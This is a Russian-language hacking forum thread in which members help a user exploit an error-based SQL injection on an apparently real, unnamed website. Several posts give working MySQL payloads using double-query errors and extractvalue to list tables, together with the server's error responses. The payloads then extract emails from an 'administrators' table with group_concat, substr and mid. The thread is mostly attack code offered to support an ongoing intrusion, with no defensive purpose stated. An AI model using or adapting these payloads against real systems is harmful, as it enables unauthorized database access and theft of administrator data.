Ваши вопросы по уязвимостям.

07.12.2014, 22:21

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

С нами: 9721141

Репутация: 1013

Цитата:

Сообщение от EksTasy

есть уязвимость или нет, не могу понять?
было бы не плохо слить материалы для печати)

с чего вы взяли? нет.

𝕏 Twitter Reddit Telegram Копировать ссылку

07.12.2014, 22:56

madam

Участник форума

Регистрация: 27.03.2014

Сообщений: 129

С нами: 6384566

Репутация: 1

ppppppppppppp млин ...

подскажите

запрос пост

&more[]=-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT((database()),0x3a,FLOOR(RAND(0)*2) )x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

ответ

Duplicate entry 'ex_info:1' for key 'group_key'

ну блин а дальше тупик,как зти таблицы вытащить((

07.12.2014, 23:14

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

С нами: 9721141

Репутация: 1013

Код:

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1,1),0x3a,FLOOR(RAND(0)*2) )x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

и перебирайте лимитом все поля

и, кстати, можно проще запрос

Код:

and(extractvalue(1,concat(0x3a,(select+table_name+from+information_schema.tables+limit+5,1))))

UPDATE:

Код:

1'and(extractvalue(1,concat(0x3a,(select+table_name+from+information_schema.tables+limit+5,1))))='1

вот так должно сработать

07.12.2014, 23:22

madam

Участник форума

Регистрация: 27.03.2014

Сообщений: 129

С нами: 6384566

Репутация: 1

Цитата:

Сообщение от faza02

Код:

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1,1),0x3a,FLOOR(RAND(0)*2) )x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

и перебирайте лимитом все поля
и, кстати, можно проще запрос

Код:

and(extractvalue(1,concat(0x3a,(select+table_name+from+information_schema.tables+limit+5,1))))--+

спасибо ,вот проще не идёт

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '";}',

08.12.2014, 00:34

madam

Участник форума

Регистрация: 27.03.2014

Сообщений: 129

С нами: 6384566

Репутация: 1

можно ещё вопросик

что я опять делаю не так

(SELECT COUNT(*),CONCAT((SELECT id FROM administrators LIMIT 0,1 ),0x3a,FLOOR(RAND(0)*2) )x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

возращает 16

а

(SELECT COUNT(*),CONCAT((SELECT email FROM administrators LIMIT 0,1 ),0x3a,FLOOR(RAND(0)*2) )x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

возращает

Subquery returns more than 1 row

(((

08.12.2014, 01:02

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

С нами: 9721141

Репутация: 1013

Цитата:

Сообщение от madam

можно ещё вопросик
что я опять делаю не так
(SELECT COUNT(*),CONCAT((SELECT id FROM administrators LIMIT 0,1 ),0x3a,FLOOR(RAND(0)*2) )x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
возращает 16
а
(SELECT COUNT(*),CONCAT((SELECT email FROM administrators LIMIT 0,1 ),0x3a,FLOOR(RAND(0)*2) )x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
возращает
Subquery returns more than 1 row
(((

попробуйте так:

Код:

(SELECT COUNT(*),CONCAT((SELECT email FROM administrators WHERE id = 16),0x3a,FLOOR(RAND(0)*2) )x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

изменив на нужный id.

08.12.2014, 01:04

madam

Участник форума

Регистрация: 27.03.2014

Сообщений: 129

С нами: 6384566

Репутация: 1

Цитата:

Сообщение от faza02

попробуйте так:

Код:

(SELECT COUNT(*),CONCAT((SELECT email FROM administrators WHERE id = 16),0x3a,FLOOR(RAND(0)*2) )x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

изменив на нужный id.

((

Subquery returns more than 1 row

08.12.2014, 01:14

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

С нами: 9721141

Репутация: 1013

Цитата:

Сообщение от madam

((
Subquery returns more than 1 row

Код:

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT((SELECT substr(group_concat(email),1,150) FROM administrator),0x3a,FLOOR(RAND(0)*2) )x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

если проблема не решится, отпишите мне в jabber, не стоит захламлять тему. вам бы для начала прочитать маны mysql неплохо бы было.

08.12.2014, 01:24

madam

Участник форума

Регистрация: 27.03.2014

Сообщений: 129

С нами: 6384566

Репутация: 1

Спасибо,почти решилась,дальше разберусь

#10

08.12.2014, 01:40

kingbeef

Новичок

Регистрация: 08.04.2010

Сообщений: 1

С нами: 8469890

Репутация: 0

Цитата:

Сообщение от madam

можно ещё вопросик
что я опять делаю не так
(SELECT COUNT(*),CONCAT((SELECT id FROM administrators LIMIT 0,1 ),0x3a,FLOOR(RAND(0)*2) )x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
возращает 16
а
(SELECT COUNT(*),CONCAT((SELECT email FROM administrators LIMIT 0,1 ),0x3a,FLOOR(RAND(0)*2) )x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
возращает
Subquery returns more than 1 row
(((

Код:

(SELECT COUNT(*),CONCAT((SELECT mid(email,1,20) FROM administrators LIMIT 0,1 ),0x3a,FLOOR(RAND(0)*2) )x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'